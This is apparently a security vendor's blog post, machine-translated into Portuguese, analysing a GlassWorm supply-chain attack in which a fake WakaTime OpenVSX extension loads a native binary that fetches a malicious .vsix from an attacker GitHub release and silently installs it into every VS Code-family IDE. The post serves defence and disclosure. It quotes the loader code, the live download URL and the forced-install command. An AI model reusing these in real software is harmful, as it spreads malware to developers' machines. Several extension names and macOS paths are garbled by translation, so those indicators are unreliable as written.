Há mais de um ano que acompanhamos o GlassWorm. Este surgiu pela primeira vez em março de 2025, quando Aikido pacotes npm maliciosos que ocultavam cargas úteis dentro de caracteres Unicode invisíveis. Desde então, a campanha tem-se expandido repetidamente, comprometendo centenas de projetos no GitHub, npm e VS Code, e , mais recentemente, distribuindo um RAT persistente através de uma extensão falsa do Chrome que registava as teclas digitadas e extraía cookies de sessão. O grupo continua a evoluir e acaba de dar um salto significativo.
Observámos esta nova técnica numa extensão do OpenVSX chamada code-wakatime-activity-tracker. A extensão faz-se passar pelo WakaTime, a popular ferramenta de monitorização de tempo para programadores, e inclui um binário nativo compilado com o Zig juntamente com o seu código JavaScript. Esta não é a primeira vez que o GlassWorm recorre ao uso de código compilado nativo em extensões. No entanto, em vez de utilizar o binário diretamente como carga útil, este é usado como uma indireção furtiva para o conhecido dropper do GlassWorm, que agora infeta secretamente todos os outros IDEs que consegue encontrar no seu sistema.
O dropper: uma extensão infectada com um trojan
A extensão código-wakatime-monitorizador-de-atividade, publicado no OpenVSX, é, à primeira vista, quase idêntico à extensão legítima do WakaTime: os mesmos comandos registados, os mesmos pedidos de introdução da chave API, os mesmos ícones na barra de estado. A diferença reside num único aspeto: o activate() função.
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();Antes de qualquer lógica do WakaTime ser executada, a extensão carrega um ficheiro binário nativo a partir do ./bin/ diretório incluído com a extensão e chama imediatamente install(). No Windows, isto é win.node, uma DLL PE32+. No macOS, é mac.node, um Mach-O universal compatível tanto com x86_64 como com arm64. Trata-se de complementos nativos do Node.js: bibliotecas partilhadas compiladas que são carregadas diretamente no ambiente de execução do Node e executadas fora da sandbox do JavaScript, com acesso total ao nível do sistema operativo. Ambos foram escritos em Zig. O binário para macOS foi compilado com os símbolos de depuração intactos, revelando um caminho do projeto /Usuários/davidioasd/Downloads/vsx_installer_zig.
Infectar todos os IDE da máquina
Depois de carregado, a primeira tarefa do ficheiro binário é localizar todos os IDE instalados no computador que suportem o formato de extensão do VS Code. Em seguida, instala silenciosamente uma extensão maliciosa em cada um dos que encontrar.
Windows (a partir de win.node):
%LOCALAPPDATA%\Programas\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programas\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programas\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programas\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programas\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programas\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS (a partir de mac.node):
/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Aplicativos/Windsurf.app/Conteúdo/Recursos/app/bin/windsurf
/Aplicativos/VSCodium.app/Conteúdo/Recursos/app/bin/codium
/Aplicativos/Positron.app/Conteúdo/Recursos/app/bin/positronEste ataque não se limita ao VS Code: abrange todo o ecossistema de editores que partilham o mesmo sistema de extensões: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium e Positron. Um programador que utilize o Cursor como editor principal, mas que também tenha o VS Code instalado, veria ambos os editores comprometidos.
Depois de criada a lista IDE, o binário descarrega um ficheiro malicioso .vsix a partir de uma página de lançamentos do GitHub controlada pelo atacante:
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixO pacote faz-se passar por steoates.autoimport, uma extensão legítima e popular do VS Code com milhões de instalações. O ficheiro descarregado .vsix é gravado num caminho temporário e, em seguida, instalado silenciosamente em todos os IDE encontrados no passo anterior, utilizando o próprio instalador de linha de comandos de cada editor. No Windows, isto é executado através de cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"Após a instalação, cleanupVsix apaga o ficheiro descarregado para eliminar as provas.
A extensão da segunda fase
O ficheiro .vsix instalado à força é o mesmo dropper GlassWorm que temos vindo a acompanhar e a analisar em profundidade. Este programa delimita geograficamente os sistemas russos, envia sinais para um servidor de comando e controlo (C2) baseado na blockchain Solana e, na nossa análise anterior, descobrimos que realiza a exfiltração secreta de dados e instala um RAT persistente, incluindo uma extensão maliciosa do Chrome.

Como Aikido isto
Se instalou specstudio/código-wakatime-rastreador-de-atividades ou consulte floktokbok.autoimport Se estiver presente em qualquer uma das suas listas de extensões do IDE, considere o seu computador como comprometido e altere quaisquer secrets possam ter sido acedidas.
Se é Aikido , verifique o seu feed central e filtre por problemas de malware. Isto aparecerá como um problema crítico 100/100. Aikido todas as noites, mas recomendamos que inicie uma nova verificação manual agora.
Se ainda não é Aikido , pode criar uma conta e ligar os seus repositórios. A nossa proteção contra malware está incluída no plano gratuito, sem necessidade de cartão de crédito.
Para uma cobertura mais abrangente em toda a sua equipa, o Endpoint Protection Aikido oferece-lhe visibilidade e controlo sobre os pacotes de software instalados nos dispositivos da sua equipa. Abrange extensões de navegador, bibliotecas de código, plug-ins de IDE e dependências de compilação, tudo num único local. Impedir o malware antes que seja instalado.
Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.
IOCs
Extensões
specstudio/código-wakatime-rastreador-de-atividades(extensão OpenVSX infectada com um trojan)autoimport-2.7.9(implantação de segunda fase em IDE)
Ficheiros
win.nodedentro do diretório ./bin/ de qualquer extensão do VS Code- SHA-256:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256:
mac.nodedentro do diretório ./bin/ de qualquer extensão do VS Code- SHA-256:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256:
Rede
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
Cordas
vsx_installer_zig(Nome do projeto Zig encontrado no ficheiro binário do macOS)davidioasd(Nome de utilizador encontrado no ficheiro binário do macOS)

